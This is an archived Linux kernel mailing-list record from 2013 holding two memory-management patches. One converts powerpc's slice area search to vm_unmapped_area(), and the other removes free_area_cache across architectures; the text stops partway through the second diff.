Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 238486B0082; Tue,  8 Jan 2013 20:28:42 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx168.postini.com [74.125.245.168])
	by kanga.kvack.org (Postfix) with SMTP id AD1AF6B007B
	for <linux-mm@kvack.org>; Tue,  8 Jan 2013 20:28:39 -0500 (EST)
Original-Received: from mail-da0-f52.google.com ([209.85.210.52]) (using TLSv1) by na3sys010amx168.postini.com ([74.125.244.10]) with SMTP;
	Wed, 09 Jan 2013 01:28:39 GMT
Original-Received: by mail-da0-f52.google.com with SMTP id f10so467002dak.25
        for <linux-mm@kvack.org>; Tue, 08 Jan 2013 17:28:38 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        bh=NT3uaiILTOLBXauwxpTInoGhDl70NlBHfOggBSbbhp4=;
        b=bEVftliyQBMpFTd1WcCUmWW1fs8EU3hc5cawEzO8awqLa7H8uGcUcJL5r4GG830YZe
         rxuhAuGuSx/4rGDgeL+tIbk7Jq0wERRf4aJJH8TcsR0H6+ka4eYyiQ/HuJOXIQzYkhtI
         HxibmfCoLQlDClep1eFcOYMD5SpPF7GdHgGT+3IIGx6IIZy+l1/SsBt/lrNijL+jEubf
         gs2dAVwvKwB9w202jPzWBMXdxHZgEwpRg5BHiNx6PpUZlcn2ChSiz4jhCWiI63HG2YQN
         wsOE9rHKDz1J13YKGOZFZ9bxHfIc6Ez81jHIDIOhwqxdy5JfetqLHw+odE8hFl0se6TT
         ExzA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references:x-gm-message-state;
        bh=NT3uaiILTOLBXauwxpTInoGhDl70NlBHfOggBSbbhp4=;
        b=hd0IbV0IrqyoLH+vg//2HmMvfkQJ6fNKjFEN7O+MSI61RHPt6mx+fSiPo+9yx+tLNn
         fFuJt/0SBaFZPvwlwWDPyrlG/0h52bkl9R2obC4f5KnUHB3n4RQvJ9yBSXzCj5/4tb8D
         6YtPGl4tR3e4+UTI5gHI3SVmpthK2ZbW1ooOLAYy7uAKSrz7FcA+TZwzpnO2ywD9LpHv
         QdyxiMygtndOBDVTz3YcCedQCsoEQg5wGubgYMCXkF9w+UbI+/pKyc8eLr3b1MHjI5BV
         1kE8ltCKI9KfE1XBaVD4ZAWVSiQGvJx4mAr8HQrChrs8AWyI3umnUhi5z6W1CyWtD+AH
         MbUw==
X-Received: by 10.68.130.170 with SMTP id of10mr204090575pbb.131.1357694918857;
        Tue, 08 Jan 2013 17:28:38 -0800 (PST)
Original-Received: from studio.mtv.corp.google.com (studio.mtv.corp.google.com [172.17.131.106])
        by mx.google.com with ESMTPS id p10sm41711168pax.27.2013.01.08.17.28.37
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 08 Jan 2013 17:28:37 -0800 (PST)
X-Mailer: git-send-email 1.7.7.3
In-Reply-To: <1357694895-520-1-git-send-email-walken@google.com>
X-Gm-Message-State: ALoCoQkCHUvuuPD1cs65JVFDsZ3U+orOvljhiAVhOA+8VXxcl3IT9GLiR3Xzlc+VMEYNK5ZK4xi71LexlF80Ev0j7aOekWoHiudKnWpI83fYh4OrT7Pn8+hvyJs1zwRboVgSLCI2gB1l9oyUBmBfVZLlASQ3aZCyXrnT2JXa3EWRD0fyNb+CWOb4To4vchTFXVEwJUQumv+5
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <walken@google.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93018 gmane.linux.kernel:1418772 gmane.linux.ports.ppc64.devel:86886 gmane.linux.ports.parisc:4713 gmane.linux.ports.alpha:1986 gmane.linux.ports.ia64:22862
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93018>

Update the powerpc slice_get_unmapped_area function to make use of
vm_unmapped_area() instead of implementing a brute force search.

Signed-off-by: Michel Lespinasse <walken@google.com>

---
 arch/powerpc/mm/slice.c |  128 +++++++++++++++++++++++++++++-----------------
 1 files changed, 81 insertions(+), 47 deletions(-)

diff --git a/arch/powerpc/mm/slice.c b/arch/powerpc/mm/slice.c
index 999a74f25ebe..048346b7eed5 100644
--- a/arch/powerpc/mm/slice.c
+++ b/arch/powerpc/mm/slice.c
@@ -242,31 +242,51 @@ static unsigned long slice_find_area_bottomup(struct mm_struct *mm,
 					      struct slice_mask available,
 					      int psize)
 {
-	struct vm_area_struct *vma;
-	unsigned long addr;
-	struct slice_mask mask;
 	int pshift = max_t(int, mmu_psize_defs[psize].shift, PAGE_SHIFT);
+	unsigned long addr, found, slice;
+	struct vm_unmapped_area_info info;
 
-	addr = TASK_UNMAPPED_BASE;
+	info.flags = 0;
+	info.length = len;
+	info.align_mask = PAGE_MASK & ((1ul << pshift) - 1);
+	info.align_offset = 0;
 
-	for (;;) {
-		addr = _ALIGN_UP(addr, 1ul << pshift);
-		if ((TASK_SIZE - len) < addr)
-			break;
-		vma = find_vma(mm, addr);
-		BUG_ON(vma && (addr >= vma->vm_end));
+	addr = TASK_UNMAPPED_BASE;
+	while (addr < TASK_SIZE) {
+		info.low_limit = addr;
+		if (addr < SLICE_LOW_TOP) {
+			slice = GET_LOW_SLICE_INDEX(addr);
+			addr = (slice + 1) << SLICE_LOW_SHIFT;
+			if (!(available.low_slices & (1u << slice)))
+				continue;
+		} else {
+			slice = GET_HIGH_SLICE_INDEX(addr);
+			addr = (slice + 1) << SLICE_HIGH_SHIFT;
+			if (!(available.high_slices & (1u << slice)))
+				continue;
+		}
 
-		mask = slice_range_to_mask(addr, len);
-		if (!slice_check_fit(mask, available)) {
-			if (addr < SLICE_LOW_TOP)
-				addr = _ALIGN_UP(addr + 1,  1ul << SLICE_LOW_SHIFT);
-			else
-				addr = _ALIGN_UP(addr + 1,  1ul << SLICE_HIGH_SHIFT);
-			continue;
+ next_slice:
+		if (addr >= TASK_SIZE)
+			addr = TASK_SIZE;
+		else if (addr < SLICE_LOW_TOP) {
+			slice = GET_LOW_SLICE_INDEX(addr);
+			if (available.low_slices & (1u << slice)) {
+				addr = (slice + 1) << SLICE_LOW_SHIFT;
+				goto next_slice;
+			}
+		} else {
+			slice = GET_HIGH_SLICE_INDEX(addr);
+			if (available.high_slices & (1u << slice)) {
+				addr = (slice + 1) << SLICE_HIGH_SHIFT;
+				goto next_slice;
+			}
 		}
-		if (!vma || addr + len <= vma->vm_start)
-			return addr;
-		addr = vma->vm_end;
+		info.high_limit = addr;
+
+		found = vm_unmapped_area(&info);
+		if (!(found & ~PAGE_MASK))
+			return found;
 	}
 
 	return -ENOMEM;
@@ -277,39 +297,53 @@ static unsigned long slice_find_area_topdown(struct mm_struct *mm,
 					     struct slice_mask available,
 					     int psize)
 {
-	struct vm_area_struct *vma;
-	unsigned long addr;
-	struct slice_mask mask;
 	int pshift = max_t(int, mmu_psize_defs[psize].shift, PAGE_SHIFT);
+	unsigned long addr, found, slice;
+	struct vm_unmapped_area_info info;
 
-	addr = mm->mmap_base;
-	while (addr > len) {
-		/* Go down by chunk size */
-		addr = _ALIGN_DOWN(addr - len, 1ul << pshift);
+	info.flags = VM_UNMAPPED_AREA_TOPDOWN;
+	info.length = len;
+	info.align_mask = PAGE_MASK & ((1ul << pshift) - 1);
+	info.align_offset = 0;
 
-		/* Check for hit with different page size */
-		mask = slice_range_to_mask(addr, len);
-		if (!slice_check_fit(mask, available)) {
-			if (addr < SLICE_LOW_TOP)
-				addr = _ALIGN_DOWN(addr, 1ul << SLICE_LOW_SHIFT);
-			else if (addr < (1ul << SLICE_HIGH_SHIFT))
-				addr = SLICE_LOW_TOP;
-			else
-				addr = _ALIGN_DOWN(addr, 1ul << SLICE_HIGH_SHIFT);
-			continue;
+	addr = mm->mmap_base;
+	while (addr > PAGE_SIZE) {
+		info.high_limit = addr;
+                if (addr < SLICE_LOW_TOP) {
+			slice = GET_LOW_SLICE_INDEX(addr - 1);
+			addr = slice << SLICE_LOW_SHIFT;
+			if (!(available.low_slices & (1u << slice)))
+				continue;
+		} else {
+			slice = GET_HIGH_SLICE_INDEX(addr - 1);
+			addr = slice ? (slice << SLICE_HIGH_SHIFT) :
+								SLICE_LOW_TOP;
+			if (!(available.high_slices & (1u << slice)))
+				continue;
 		}
 
-		/*
-		 * Lookup failure means no vma is above this address,
-		 * else if new region fits below vma->vm_start,
-		 * return with success:
-		 */
-		vma = find_vma(mm, addr);
-		if (!vma || (addr + len) <= vma->vm_start)
-			return addr;
+ next_slice:
+		if (addr < PAGE_SIZE)
+			addr = PAGE_SIZE;
+		else if (addr < SLICE_LOW_TOP) {
+			slice = GET_LOW_SLICE_INDEX(addr - 1);
+			if (available.low_slices & (1u << slice)) {
+				addr = slice << SLICE_LOW_SHIFT;
+				goto next_slice;
+			}
+		} else {
+			slice = GET_HIGH_SLICE_INDEX(addr - 1);
+			if (available.high_slices & (1u << slice)) {
+				addr = slice ? (slice << SLICE_HIGH_SHIFT) :
+								SLICE_LOW_TOP;
+				goto next_slice;
+			}
+		}
+		info.low_limit = addr;
 
-		/* try just below the current vma->vm_start */
-		addr = vma->vm_start;
+		found = vm_unmapped_area(&info);
+		if (!(found & ~PAGE_MASK))
+			return found;
 	}
 
 	/*
-- 
1.7.7.3

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: [PATCH 8/8] mm: remove free_area_cache
Date: Tue,  8 Jan 2013 17:28:15 -0800
Lines: 353
Approved: news@gmane.org
Message-ID: <1357694895-520-9-git-send-email-walken@google.com>
References: <1357694895-520-1-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1357694944 30633 80.91.229.3 (9 Jan 2013 01:29:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jan 2013 01:29:04 +0000 (UTC)
Cc: linux-mm@kvack.org,
	linux-kernel@vger.kernel.org,
	Andrew Morton <akpm@linux-foundation.org>,
	linuxppc-dev@lists.ozlabs.org,
	linux-parisc@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-ia64@vger.kernel.org
To: Rik van Riel <riel@redhat.com>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Matt Turner <mattst88@gmail.com>,
	David Howells <dhowells@redhat.com>,
	Tony Luck <tony.luck@intel.com>
Original-X-From: owner-linux-mm@kvack.org Wed Jan 09 02:29:18 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TskTe-0004ym-Sa
	for glkm-linux-mm-2@m.gmane.org; Wed, 09 Jan 2013 02:29:11 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id BF3A66B007B; Tue,  8 Jan 2013 20:28:48 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 8C8F96B0082; Tue,  8 Jan 2013 20:28:46 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 045E76B007B; Tue,  8 Jan 2013 20:28:43 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx152.postini.com [74.125.245.152])
	by kanga.kvack.org (Postfix) with SMTP id 81C6D6B007D
	for <linux-mm@kvack.org>; Tue,  8 Jan 2013 20:28:41 -0500 (EST)
Original-Received: from mail-pa0-f45.google.com ([209.85.220.45]) (using TLSv1) by na3sys010amx152.postini.com ([74.125.244.10]) with SMTP;
	Wed, 09 Jan 2013 01:28:41 GMT
Original-Received: by mail-pa0-f45.google.com with SMTP id bg2so680963pad.32
        for <linux-mm@kvack.org>; Tue, 08 Jan 2013 17:28:40 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references;
        bh=o0hZDvzycGX0YomIHfZzrr9FdQ2uwqYlTq0iDKKI9do=;
        b=Gt4Yp4gl5ft2lQjpX3qWKWoGqSX5JR01W2XZZRX21G6N6nD3NPwqfYCb4KcLudGVJv
         sv+PRE+raHpo+aME+7wpSCyP7nnISPE8AkF/zslBI+78JzQ/0Jf3/Z+rns0ZClxLz9Cn
         Pvjw6loqU58o9YUeAYwFGvQ5p6o7anPZrlARbHtLX5ZCmmhotIeKuD8FvzcPP8jrKgkX
         tdsvp1jKmTEXOnSmybR5Ye5fu37dKW4q5Rv+FKsRX0cxz3bXFsBwUHqNIA/bu+cGVySe
         3XK6UtGnvmXLGUXJSMp1vFdGn3KcPso0eyAFysoMzd2WNaOA3yMBbzFF3ulBm1j0Do7f
         1g0Q==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer:in-reply-to
         :references:x-gm-message-state;
        bh=o0hZDvzycGX0YomIHfZzrr9FdQ2uwqYlTq0iDKKI9do=;
        b=HUENyynpP+AjF6dlNOYUc2d5Pkp2+Sx0KYC7D9vngIL+NSLELHbCiIcUOjM7ePpx6I
         6d2MnQ2tYu6UGgoHPfT6+le5B87hQ4g9uKjlu/+lUM3cKxJQp8ZQiH0HuzTp2EEoLlA/
         0FwmpyFtWuKEIa6sj9tJOhAWtMGPOfV4wXkXZkctRSn2KvJTEK9AUoZSKdbJu/ge9HMw
         QOsh51TRriR0MlV/2WZgklfOQ/F+f4kraJlcl/W5NGLpTNgpatZ7PaAGe5Kp4pg3LZ8Y
         OTQzwtceZjlf2YmL0TDavFr0IQI9BsQ3bZNd2IKzW8owKW19pABFjJmJme/ViVTrPA51
         RdeQ==
X-Received: by 10.68.247.39 with SMTP id yb7mr207221118pbc.15.1357694920644;
        Tue, 08 Jan 2013 17:28:40 -0800 (PST)
Original-Received: from studio.mtv.corp.google.com (studio.mtv.corp.google.com [172.17.131.106])
        by mx.google.com with ESMTPS id p10sm41711168pax.27.2013.01.08.17.28.38
        (version=TLSv1/SSLv3 cipher=OTHER);
        Tue, 08 Jan 2013 17:28:39 -0800 (PST)
X-Mailer: git-send-email 1.7.7.3
In-Reply-To: <1357694895-520-1-git-send-email-walken@google.com>
X-Gm-Message-State: ALoCoQky2syQaTgHsmTf5UC3hKic0oI0XewFZOf3xi1lxFbR+TnjdOQPy3DNyURohGDwPm3qvf9ScTkpHrlTpyU4gLwsskzbiz/fvrEBOoT7PfdDm/pnTSbBHAZoP2fFcnr19J1FJUs4EUXi1307ROWoju7lebGI5VXSLRpaBppo05eK+NoY+eOiZWZI0lg1H0HQjXqbTKoJ
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:92.85336/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 1 skipped:not-enabled
X-pstn-settings: 3 (1.0000:0.0100) s cv GT3 gt2 gt1 r p m c 
X-pstn-addresses: from <walken@google.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93019 gmane.linux.kernel:1418773 gmane.linux.ports.ppc64.devel:86887 gmane.linux.ports.parisc:4714 gmane.linux.ports.alpha:1987 gmane.linux.ports.ia64:22863
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93019>

Since all architectures have been converted to use vm_unmapped_area(),
there is no remaining use for the free_area_cache.

Signed-off-by: Michel Lespinasse <walken@google.com>

---
 arch/arm/mm/mmap.c               |    2 --
 arch/arm64/mm/mmap.c             |    2 --
 arch/mips/mm/mmap.c              |    2 --
 arch/powerpc/mm/mmap_64.c        |    2 --
 arch/s390/mm/mmap.c              |    4 ----
 arch/sparc/kernel/sys_sparc_64.c |    2 --
 arch/tile/mm/mmap.c              |    2 --
 arch/x86/ia32/ia32_aout.c        |    2 --
 arch/x86/mm/mmap.c               |    2 --
 fs/binfmt_aout.c                 |    2 --
 fs/binfmt_elf.c                  |    2 --
 include/linux/mm_types.h         |    3 ---
 include/linux/sched.h            |    2 --
 kernel/fork.c                    |    4 ----
 mm/mmap.c                        |   28 ----------------------------
 mm/nommu.c                       |    4 ----
 mm/util.c                        |    1 -
 17 files changed, 0 insertions(+), 66 deletions(-)

diff --git a/arch/arm/mm/mmap.c b/arch/arm/mm/mmap.c
index 10062ceadd1c..0c6356255fe3 100644
--- a/arch/arm/mm/mmap.c
+++ b/arch/arm/mm/mmap.c
@@ -181,11 +181,9 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
 	if (mmap_is_legacy()) {
 		mm->mmap_base = TASK_UNMAPPED_BASE + random_factor;
 		mm->get_unmapped_area = arch_get_unmapped_area;
-		mm->unmap_area = arch_unmap_area;
 	} else {
 		mm->mmap_base = mmap_base(random_factor);
 		mm->get_unmapped_area = arch_get_unmapped_area_topdown;
-		mm->unmap_area = arch_unmap_area_topdown;
 	}
 }
 
diff --git a/arch/arm64/mm/mmap.c b/arch/arm64/mm/mmap.c
index 7c7be7855638..8ed6cb1a900f 100644
--- a/arch/arm64/mm/mmap.c
+++ b/arch/arm64/mm/mmap.c
@@ -90,11 +90,9 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
 	if (mmap_is_legacy()) {
 		mm->mmap_base = TASK_UNMAPPED_BASE;
 		mm->get_unmapped_area = arch_get_unmapped_area;
-		mm->unmap_area = arch_unmap_area;
 	} else {
 		mm->mmap_base = mmap_base();
 		mm->get_unmapped_area = arch_get_unmapped_area_topdown;
-		mm->unmap_area = arch_unmap_area_topdown;
 	}
 }
 EXPORT_SYMBOL_GPL(arch_pick_mmap_layout);
diff --git a/arch/mips/mm/mmap.c b/arch/mips/mm/mmap.c
index d9be7540a6be..f4e63c29d044 100644
--- a/arch/mips/mm/mmap.c
+++ b/arch/mips/mm/mmap.c
@@ -158,11 +158,9 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
 	if (mmap_is_legacy()) {
 		mm->mmap_base = TASK_UNMAPPED_BASE + random_factor;
 		mm->get_unmapped_area = arch_get_unmapped_area;
-		mm->unmap_area = arch_unmap_area;
 	} else {
 		mm->mmap_base = mmap_base(random_factor);
 		mm->get_unmapped_area = arch_get_unmapped_area_topdown;
-		mm->unmap_area = arch_unmap_area_topdown;
 	}
 }
 
diff --git a/arch/powerpc/mm/mmap_64.c b/arch/powerpc/mm/mmap_64.c
index 67a42ed0d2fc..cb8bdbe4972f 100644
--- a/arch/powerpc/mm/mmap_64.c
+++ b/arch/powerpc/mm/mmap_64.c
@@ -92,10 +92,8 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
 	if (mmap_is_legacy()) {
 		mm->mmap_base = TASK_UNMAPPED_BASE;
 		mm->get_unmapped_area = arch_get_unmapped_area;
-		mm->unmap_area = arch_unmap_area;
 	} else {
 		mm->mmap_base = mmap_base();
 		mm->get_unmapped_area = arch_get_unmapped_area_topdown;
-		mm->unmap_area = arch_unmap_area_topdown;
 	}
 }
diff --git a/arch/s390/mm/mmap.c b/arch/s390/mm/mmap.c
index c59a5efa58b1..f2a462625c9e 100644
--- a/arch/s390/mm/mmap.c
+++ b/arch/s390/mm/mmap.c
@@ -91,11 +91,9 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
 	if (mmap_is_legacy()) {
 		mm->mmap_base = TASK_UNMAPPED_BASE;
 		mm->get_unmapped_area = arch_get_unmapped_area;
-		mm->unmap_area = arch_unmap_area;
 	} else {
 		mm->mmap_base = mmap_base();
 		mm->get_unmapped_area = arch_get_unmapped_area_topdown;
-		mm->unmap_area = arch_unmap_area_topdown;
 	}
 }
 
@@ -173,11 +171,9 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
 	if (mmap_is_legacy()) {
 		mm->mmap_base = TASK_UNMAPPED_BASE;
 		mm->get_unmapped_area = s390_get_unmapped_area;
-		mm->unmap_area = arch_unmap_area;
 	} else {
 		mm->mmap_base = mmap_base();
 		mm->get_unmapped_area = s390_get_unmapped_area_topdown;
-		mm->unmap_area = arch_unmap_area_topdown;
 	}
 }
 
diff --git a/arch/sparc/kernel/sys_sparc_64.c b/arch/sparc/kernel/sys_sparc_64.c
index 708bc29d36a8..f3c169f9d3a1 100644
--- a/arch/sparc/kernel/sys_sparc_64.c
+++ b/arch/sparc/kernel/sys_sparc_64.c
@@ -290,7 +290,6 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
 	    sysctl_legacy_va_layout) {
 		mm->mmap_base = TASK_UNMAPPED_BASE + random_factor;
 		mm->get_unmapped_area = arch_get_unmapped_area;
-		mm->unmap_area = arch_unmap_area;
 	} else {
 		/* We know it's 32-bit */
 		unsigned long task_size = STACK_TOP32;
@@ -302,7 +301,6 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
 
 		mm->mmap_base = PAGE_ALIGN(task_size - gap - random_factor);
 		mm->get_unmapped_area = arch_get_unmapped_area_topdown;
-		mm->unmap_area = arch_unmap_area_topdown;
 	}
 }
 
diff --git a/arch/tile/mm/mmap.c b/arch/tile/mm/mmap.c
index f96f4cec602a..d67d91ebf63e 100644
--- a/arch/tile/mm/mmap.c
+++ b/arch/tile/mm/mmap.c
@@ -66,10 +66,8 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
 	if (!is_32bit || rlimit(RLIMIT_STACK) == RLIM_INFINITY) {
 		mm->mmap_base = TASK_UNMAPPED_BASE;
 		mm->get_unmapped_area = arch_get_unmapped_area;
-		mm->unmap_area = arch_unmap_area;
 	} else {
 		mm->mmap_base = mmap_base(mm);
 		mm->get_unmapped_area = arch_get_unmapped_area_topdown;
-		mm->unmap_area = arch_unmap_area_topdown;
 	}
 }
diff --git a/arch/x86/ia32/ia32_aout.c b/arch/x86/ia32/ia32_aout.c
index a703af19c281..3b3558577642 100644
--- a/arch/x86/ia32/ia32_aout.c
+++ b/arch/x86/ia32/ia32_aout.c
@@ -309,8 +309,6 @@ static int load_aout_binary(struct linux_binprm *bprm)
 		(current->mm->start_data = N_DATADDR(ex));
 	current->mm->brk = ex.a_bss +
 		(current->mm->start_brk = N_BSSADDR(ex));
-	current->mm->free_area_cache = TASK_UNMAPPED_BASE;
-	current->mm->cached_hole_size = 0;
 
 	retval = setup_arg_pages(bprm, IA32_STACK_TOP, EXSTACK_DEFAULT);
 	if (retval < 0) {
diff --git a/arch/x86/mm/mmap.c b/arch/x86/mm/mmap.c
index 845df6835f9f..62c29a5bfe26 100644
--- a/arch/x86/mm/mmap.c
+++ b/arch/x86/mm/mmap.c
@@ -115,10 +115,8 @@ void arch_pick_mmap_layout(struct mm_struct *mm)
 	if (mmap_is_legacy()) {
 		mm->mmap_base = mmap_legacy_base();
 		mm->get_unmapped_area = arch_get_unmapped_area;
-		mm->unmap_area = arch_unmap_area;
 	} else {
 		mm->mmap_base = mmap_base();
 		mm->get_unmapped_area = arch_get_unmapped_area_topdown;
-		mm->unmap_area = arch_unmap_area_topdown;
 	}
 }
diff --git a/fs/binfmt_aout.c b/fs/binfmt_aout.c
index 6043567b95c2..692e75ca6415 100644
--- a/fs/binfmt_aout.c
+++ b/fs/binfmt_aout.c
@@ -256,8 +256,6 @@ static int load_aout_binary(struct linux_binprm * bprm)
 		(current->mm->start_data = N_DATADDR(ex));
 	current->mm->brk = ex.a_bss +
 		(current->mm->start_brk = N_BSSADDR(ex));
-	current->mm->free_area_cache = current->mm->mmap_base;
-	current->mm->cached_hole_size = 0;
 
 	retval = setup_arg_pages(bprm, STACK_TOP, EXSTACK_DEFAULT);
 	if (retval < 0) {
diff --git a/fs/binfmt_elf.c b/fs/binfmt_elf.c
index 0c42cdbabecf..e2087dea9c1e 100644
--- a/fs/binfmt_elf.c
+++ b/fs/binfmt_elf.c
@@ -730,8 +730,6 @@ static int load_elf_binary(struct linux_binprm *bprm)
 
 	/* Do this so that we can load the interpreter, if need be.  We will
 	   change some of these later */
-	current->mm->free_area_cache = current->mm->mmap_base;
-	current->mm->cached_hole_size = 0;
 	retval = setup_arg_pages(bprm, randomize_stack_top(STACK_TOP),
 				 executable_stack);
 	if (retval < 0) {
diff --git a/include/linux/mm_types.h b/include/linux/mm_types.h
index f8f5162a3571..e50eb047ea8a 100644
--- a/include/linux/mm_types.h
+++ b/include/linux/mm_types.h
@@ -329,12 +329,9 @@ struct mm_struct {
 	unsigned long (*get_unmapped_area) (struct file *filp,
 				unsigned long addr, unsigned long len,
 				unsigned long pgoff, unsigned long flags);
-	void (*unmap_area) (struct mm_struct *mm, unsigned long addr);
 #endif
 	unsigned long mmap_base;		/* base of mmap area */
 	unsigned long task_size;		/* size of task vm space */
-	unsigned long cached_hole_size; 	/* if non-zero, the largest hole below free_area_cache */
-	unsigned long free_area_cache;		/* first hole of size cached_hole_size or larger */
 	unsigned long highest_vm_end;		/* highest vma end address */
 	pgd_t * pgd;
 	atomic_t mm_users;			/* How many users with user space? */
diff --git a/include/linux/sched.h b/include/linux/sched.h
index 206bb089c06b..fa7e0a60ebe9 100644
--- a/include/linux/sched.h
+++ b/include/linux/sched.h
@@ -366,8 +366,6 @@ extern unsigned long
 arch_get_unmapped_area_topdown(struct file *filp, unsigned long addr,
 			  unsigned long len, unsigned long pgoff,
 			  unsigned long flags);
-extern void arch_unmap_area(struct mm_struct *, unsigned long);
-extern void arch_unmap_area_topdown(struct mm_struct *, unsigned long);
 #else
 static inline void arch_pick_mmap_layout(struct mm_struct *mm) {}
 #endif
diff --git a/kernel/fork.c b/kernel/fork.c
index a31b823b3c2d..bdf61755ef4a 100644
--- a/kernel/fork.c
+++ b/kernel/fork.c
@@ -364,8 +364,6 @@ static int dup_mmap(struct mm_struct *mm, struct mm_struct *oldmm)
 	mm->locked_vm = 0;
 	mm->mmap = NULL;
 	mm->mmap_cache = NULL;
-	mm->free_area_cache = oldmm->mmap_base;
-	mm->cached_hole_size = ~0UL;
 	mm->map_count = 0;
 	cpumask_clear(mm_cpumask(mm));
 	mm->mm_rb = RB_ROOT;
@@ -539,8 +537,6 @@ static struct mm_struct *mm_init(struct mm_struct *mm, struct task_struct *p)
 	mm->nr_ptes = 0;
 	memset(&mm->rss_stat, 0, sizeof(mm->rss_stat));
 	spin_lock_init(&mm->page_table_lock);
-	mm->free_area_cache = TASK_UNMAPPED_BASE;
-	mm->cached_hole_size = ~0UL;
 	mm_init_aio(mm);
 	mm_init_owner(mm, p);
 
diff --git a/mm/mmap.c b/mm/mmap.c
index f54b235f29a9..532f447879d4 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -1800,15 +1800,6 @@ arch_get_unmapped_area(struct file *filp, unsigned long addr,
 }
 #endif	
 
-void arch_unmap_area(struct mm_struct *mm, unsigned long addr)
-{
-	/*
-	 * Is this a new hole at the lowest possible address?
-	 */
-	if (addr >= TASK_UNMAPPED_BASE && addr < mm->free_area_cache)
-		mm->free_area_cache = addr;
-}
-
 /*
  * This mmap-allocator allocates new areas top-down from below the
  * stack's low limit (the base):
@@ -1865,19 +1856,6 @@ arch_get_unmapped_area_topdown(struct file *filp, const unsigned long addr0,
 }
 #endif
 
-void arch_unmap_area_topdown(struct mm_struct *mm, unsigned long addr)
-{
-	/*
-	 * Is this a new hole at the highest possible address?
-	 */
-	if (addr > mm->free_area_cache)
-		mm->free_area_cache = addr;
-
-	/* dont allow allocations above current base */
-	if (mm->free_area_cache > mm->mmap_base)
-		mm->free_area_cache = mm->mmap_base;
-}
-
 unsigned long
 get_unmapped_area(struct file *file, unsigned long addr, unsigned long len,
 		unsigned long pgoff, unsigned long flags)
@@ -2276,7 +2254,6 @@ detach_vmas_to_be_unmapped(struct mm_struct *mm, struct vm_area_struct *vma,
 {
 	struct vm_area_struct **insertion_point;
 	struct vm_area_struct *tail_vma = NULL;
-	unsigned long addr;
 
 	insertion_point = (prev ? &prev->vm_next : &mm->mmap);
 	vma->vm_prev = NULL;
